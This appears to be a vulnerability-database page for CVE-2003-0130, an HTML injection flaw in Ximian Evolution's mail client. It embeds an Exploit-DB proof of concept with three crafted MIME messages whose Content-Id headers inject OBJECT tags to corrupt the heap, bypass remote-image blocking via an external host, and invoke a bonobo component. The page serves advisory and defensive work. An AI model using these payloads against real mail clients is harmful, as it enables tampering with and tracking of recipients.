VIR Vulnerability Intelligence Relay

CVE-2003-0130

unknown
Published — · Modified —
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
1.0

Description

The handle_image function in mail-format.c for Ximian Evolution Mail User Agent 1.2.2 and earlier does not properly escape HTML characters, which allows remote attackers to inject arbitrary data and HTML via a MIME Content-ID header in a MIME-encoded image.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-22371 remote linux verified text · 3 KB
Core Security · 2003-03-19

Ximian Evolution 1.x - MIME image/* Content-Type Data Inclusion

text exploit Source: Exploit-DB 
source: https://www.securityfocus.com/bid/7119/info

Ximian Evolution does not properly validate MIME image/* Content-Type fields. If an email message contains an image/* Content-Type, any type of data can be embedded where the image information is expected. This can be used to embed HTML tags that will be rendered by GTKHtml, bypass policies, or invoke bonobo components to handle external content types.

The following example will cause heap corruption:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Id: hello

Hello World!

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name1.gif
Content-Type: image/gif; name=name1.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will bypass the "Don't connect to remote hosts to fetch images" option:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Content-Id: apart

<img src="http://external.host.com:anyport">

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:apart" type="text/html"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will cause Evolution to invoke the bonobo-audio-ulaw component:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: audio/ulaw
Content-Transfer-Encoding: 7bit
Content-Id: mysong

There she was, just walking down the street...

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:mysong" type="audio/ulaw"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

OS impact
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.2.3
sid Fixed 1.2.3
forky Fixed 1.2.3
bullseye Fixed 1.2.3
bookworm Fixed 1.2.3

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.